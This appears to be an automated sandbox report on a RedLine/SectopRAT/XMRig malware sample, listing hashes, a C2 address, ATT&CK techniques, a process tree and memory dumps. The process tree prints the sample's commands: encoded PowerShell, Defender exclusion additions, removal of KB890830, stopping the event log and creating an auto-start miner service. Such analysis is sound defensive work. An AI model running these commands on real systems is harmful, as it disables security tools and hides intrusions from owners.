redline | 61f3a2572f203c05366b5ddd6c208fe65b5e960f195689c456b742d7339c667c

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
01-12-2024 19:56

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General

Target

6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe
Size

2.6MB
MD5

55e393da1714013720ddf266c7906f43
SHA1

91a636913604184c010c2d9e0b331a804a2c0ab4
SHA256

6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957
SHA512

40a61e1d461717e45eff3be6b22561ac39c2ef1af39b46f7d149fe823d14a06bb99605a78e794d6447ece43ce6b4854192e47ad993ed4a2e78479bc7e155fe8a
SSDEEP

49152:VvONaX/Lpt/IvKfeF4tIDpdIA/gvCRtDKYZ8NfBcPQSqzULJgxl6Y4KB7KkP3C+Y:VGNajwvKfpyMdvCRNZZ8NJcPQSEU9Q6z

Score

10^/10

redline sectoprat xmrig tg defense_evasion discovery evasion execution infostealer miner persistence rat trojan upx

Malware Config

Extracted

Family

redline

Botnet

163.5.112.53:51523

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023b72-12.dat	family_redline
behavioral2/memory/2764-22-0x0000000000350000-0x000000000036E000-memory.dmp	family_redline

Redline family
redline
SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023b72-12.dat	family_sectoprat
behavioral2/memory/2764-22-0x0000000000350000-0x000000000036E000-memory.dmp	family_sectoprat

Sectoprat family
sectoprat
Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral2/memory/4872-149-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4872-148-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4872-154-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4872-155-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4872-153-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4872-152-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4872-151-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4872-156-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
656	powershell.exe
2728	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe

Executes dropped EXE 3 IoCs

pid	Process
1788	a.exe
2764	b.exe
2252	wfnmgjmvvtwt.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	wfnmgjmvvtwt.exe
File opened for modification	C:\Windows\system32\MRT.exe	a.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2252 set thread context of 2448	2252	wfnmgjmvvtwt.exe	119
PID 2252 set thread context of 4872	2252	wfnmgjmvvtwt.exe	121

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4872-143-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4872-145-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4872-146-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4872-149-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4872-147-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4872-144-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4872-148-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4872-154-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4872-155-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4872-153-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4872-152-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4872-151-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/4872-156-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3116	sc.exe
4592	sc.exe
2588	sc.exe
3988	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b.exe

Modifies data under HKEY_USERS 46 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1492	powershell.exe
3644	powershell.exe
3644	powershell.exe
1492	powershell.exe
1788	a.exe
656	powershell.exe
656	powershell.exe
1788	a.exe
1788	a.exe
1788	a.exe
1788	a.exe
1788	a.exe
2252	wfnmgjmvvtwt.exe
2728	powershell.exe
2728	powershell.exe
2252	wfnmgjmvvtwt.exe
2252	wfnmgjmvvtwt.exe
2252	wfnmgjmvvtwt.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe
4872	conhost.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3644	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	2764	b.exe
Token: SeDebugPrivilege	656	powershell.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeLockMemoryPrivilege	4872	conhost.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 744 wrote to memory of 3644	744	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	83
PID 744 wrote to memory of 3644	744	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	83
PID 744 wrote to memory of 3644	744	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	83
PID 744 wrote to memory of 1492	744	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	85
PID 744 wrote to memory of 1492	744	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	85
PID 744 wrote to memory of 1492	744	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	85
PID 744 wrote to memory of 1788	744	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	87
PID 744 wrote to memory of 1788	744	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	87
PID 744 wrote to memory of 2764	744	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	88
PID 744 wrote to memory of 2764	744	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	88
PID 744 wrote to memory of 2764	744	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	88
PID 1512 wrote to memory of 4952	1512	cmd.exe	105
PID 1512 wrote to memory of 4952	1512	cmd.exe	105
PID 2252 wrote to memory of 2448	2252	wfnmgjmvvtwt.exe	119
PID 2252 wrote to memory of 2448	2252	wfnmgjmvvtwt.exe	119
PID 2252 wrote to memory of 2448	2252	wfnmgjmvvtwt.exe	119
PID 2252 wrote to memory of 2448	2252	wfnmgjmvvtwt.exe	119
PID 2252 wrote to memory of 2448	2252	wfnmgjmvvtwt.exe	119
PID 2252 wrote to memory of 2448	2252	wfnmgjmvvtwt.exe	119
PID 2252 wrote to memory of 2448	2252	wfnmgjmvvtwt.exe	119
PID 2252 wrote to memory of 2448	2252	wfnmgjmvvtwt.exe	119
PID 2252 wrote to memory of 2448	2252	wfnmgjmvvtwt.exe	119
PID 2252 wrote to memory of 4872	2252	wfnmgjmvvtwt.exe	121
PID 2252 wrote to memory of 4872	2252	wfnmgjmvvtwt.exe	121
PID 2252 wrote to memory of 4872	2252	wfnmgjmvvtwt.exe	121
PID 2408 wrote to memory of 4100	2408	cmd.exe	122
PID 2408 wrote to memory of 4100	2408	cmd.exe	122
PID 2252 wrote to memory of 4872	2252	wfnmgjmvvtwt.exe	121
PID 2252 wrote to memory of 4872	2252	wfnmgjmvvtwt.exe	121

C:\Users\Admin\AppData\Local\Temp\6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe
"C:\Users\Admin\AppData\Local\Temp\6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:744
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAdABpACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGsAcABhACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGkAcwAgAGMAbwBtAHAAdQB0AGUAcgAgAGkAcwAgAG4AbwB0ACAAcwB1AHAAcABvAHIAdABlAGQALAAgAHAAbABlAGEAcwBlACAAdAByAHkAIABhAGcAYQBpAG4AIABvAG4AIABhAG4AbwB0AGgAZQByACcALAAnACcALAAnAE8ASwAnACwAJwBFAHIAcgBvAHIAJwApADwAIwB5AGMAYQAjAD4A"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3644
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAbABmACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAagBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHkAYwBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAcAB5ACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1492
- C:\Users\Admin\AppData\Roaming\a.exe
  "C:\Users\Admin\AppData\Roaming\a.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1788
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1512
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:4952
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "TDFIYZSJ"
    3⤵
    - Launches sc.exe
    PID:3116
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "TDFIYZSJ" binpath= "C:\ProgramData\tcxbtjpidyhi\wfnmgjmvvtwt.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:4592
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:3988
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "TDFIYZSJ"
    3⤵
    - Launches sc.exe
    PID:2588
- C:\Users\Admin\AppData\Roaming\b.exe
  "C:\Users\Admin\AppData\Roaming\b.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2764

C:\ProgramData\tcxbtjpidyhi\wfnmgjmvvtwt.exe
C:\ProgramData\tcxbtjpidyhi\wfnmgjmvvtwt.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2252
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:4100
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2448
- C:\Windows\system32\conhost.exe
  conhost.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
7c40566d6ce2b6734472ba4a7e1921ba

SHA1
4658b6b12b45e7fa1d36095f662b529d1fed2884

SHA256
ee7b4d591fa025668cc0d1529c5d06858e542221db2c051d87d94f95a99dc3bb

SHA512
5db9e2caf93a47726035de88308728f84981be3963ee56273f6ec27d893d4e84b37be1ff9ae434c83468770eee4aea277b68bf4ebc67924c21b0d8106d314898

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1004B

MD5
b2bb0286c3cb23ff10e684f5d46d22e6

SHA1
9106ccb6273ec134b32ff6c4683efd4a369fbd49

SHA256
bb87cbeb83665ec3c69cab76899f5f673bae32993b9cbcd15b95a7757dcc8c23

SHA512
f9341f57f3979853d68468e7b7313924b17fe49a0d8d241c70f4359d3810a6499339ecdebc00ff46599f3f20b21bf84421d221c9c58d12deb23058b5b124e8ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w21xv04b.0dg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\a.exe

Filesize
2.5MB

MD5
6fd62e635b39a02ba8cac6fc124c9475

SHA1
e13080b9cc546e44a9f1c419ba86aeb190a14b2d

SHA256
78b9d7e485026278b02a1961999ad99cdfa988fbf4403767db5d10d1473e9870

SHA512
e77432582e6abcc0fd86ed997c9c4619bd67a044d33a752e1cf3ceb8008cea27c540949183b80f9dee8a41614cff54afe79c5db294efcb72b27685fcf1010cdc

Download Submit
C:\Users\Admin\AppData\Roaming\b.exe

Filesize
95KB

MD5
184ac479b3a878e9ac5535770ca34a2b

SHA1
1f99039911cc2cfd1a62ce348429ddd0f4435a60

SHA256
8e28a0090832a76cf71c417cb1bf7990b9af86be258b732117a47f624387083c

SHA512
e0f5185ae890b902ea5325066df23959106712e7990e120a1b9752bbd0331cac968af5ddd6092f75a1c576d4c83f4093dfbf53a2c90870d1c02b31a0e8282bb4

Download Submit
memory/656-95-0x000002535C950000-0x000002535C972000-memory.dmp

Filesize
136KB

Download
memory/1492-84-0x0000000073A70000-0x0000000074220000-memory.dmp

Filesize
7.7MB

Download
memory/1492-60-0x0000000006C10000-0x0000000006C42000-memory.dmp

Filesize
200KB

Download
memory/1492-81-0x00000000071E0000-0x00000000071E8000-memory.dmp

Filesize
32KB

Download
memory/1492-71-0x0000000006150000-0x000000000616E000-memory.dmp

Filesize
120KB

Download
memory/1492-24-0x0000000004D10000-0x0000000005338000-memory.dmp

Filesize
6.2MB

Download
memory/1492-29-0x0000000073A70000-0x0000000074220000-memory.dmp

Filesize
7.7MB

Download
memory/1492-23-0x0000000073A70000-0x0000000074220000-memory.dmp

Filesize
7.7MB

Download
memory/1492-77-0x0000000007160000-0x0000000007171000-memory.dmp

Filesize
68KB

Download
memory/1492-80-0x0000000007290000-0x00000000072AA000-memory.dmp

Filesize
104KB

Download
memory/1492-61-0x0000000074470000-0x00000000744BC000-memory.dmp

Filesize
304KB

Download
memory/1492-72-0x0000000006E50000-0x0000000006EF3000-memory.dmp

Filesize
652KB

Download
memory/1492-75-0x0000000006FE0000-0x0000000006FEA000-memory.dmp

Filesize
40KB

Download
memory/1492-76-0x00000000071F0000-0x0000000007286000-memory.dmp

Filesize
600KB

Download
memory/1492-79-0x00000000071B0000-0x00000000071C4000-memory.dmp

Filesize
80KB

Download
memory/1492-18-0x0000000073A7E000-0x0000000073A7F000-memory.dmp

Filesize
4KB

Download
memory/1492-78-0x00000000071A0000-0x00000000071AE000-memory.dmp

Filesize
56KB

Download
memory/2448-136-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2448-135-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2448-139-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2448-137-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2448-138-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2448-142-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2728-131-0x0000029D52C60000-0x0000029D52C66000-memory.dmp

Filesize
24KB

Download
memory/2728-128-0x0000029D52C20000-0x0000029D52C2A000-memory.dmp

Filesize
40KB

Download
memory/2728-124-0x0000029D52A00000-0x0000029D52A1C000-memory.dmp

Filesize
112KB

Download
memory/2728-126-0x0000029D50670000-0x0000029D5067A000-memory.dmp

Filesize
40KB

Download
memory/2728-127-0x0000029D52C40000-0x0000029D52C5C000-memory.dmp

Filesize
112KB

Download
memory/2728-132-0x0000029D52C70000-0x0000029D52C7A000-memory.dmp

Filesize
40KB

Download
memory/2728-125-0x0000029D52A20000-0x0000029D52AD5000-memory.dmp

Filesize
724KB

Download
memory/2728-129-0x0000029D52C80000-0x0000029D52C9A000-memory.dmp

Filesize
104KB

Download
memory/2728-130-0x0000029D52C30000-0x0000029D52C38000-memory.dmp

Filesize
32KB

Download
memory/2764-28-0x0000000004C30000-0x0000000004C6C000-memory.dmp

Filesize
240KB

Download
memory/2764-36-0x0000000073A70000-0x0000000074220000-memory.dmp

Filesize
7.7MB

Download
memory/2764-34-0x0000000004CB0000-0x0000000004CFC000-memory.dmp

Filesize
304KB

Download
memory/2764-37-0x0000000073A70000-0x0000000074220000-memory.dmp

Filesize
7.7MB

Download
memory/2764-56-0x0000000004EE0000-0x0000000004FEA000-memory.dmp

Filesize
1.0MB

Download
memory/2764-89-0x0000000073A70000-0x0000000074220000-memory.dmp

Filesize
7.7MB

Download
memory/2764-26-0x0000000004BD0000-0x0000000004BE2000-memory.dmp

Filesize
72KB

Download
memory/2764-25-0x00000000052D0000-0x00000000058E8000-memory.dmp

Filesize
6.1MB

Download
memory/2764-22-0x0000000000350000-0x000000000036E000-memory.dmp

Filesize
120KB

Download
memory/3644-31-0x0000000004D50000-0x0000000004DB6000-memory.dmp

Filesize
408KB

Download
memory/3644-19-0x00000000027B0000-0x00000000027E6000-memory.dmp

Filesize
216KB

Download
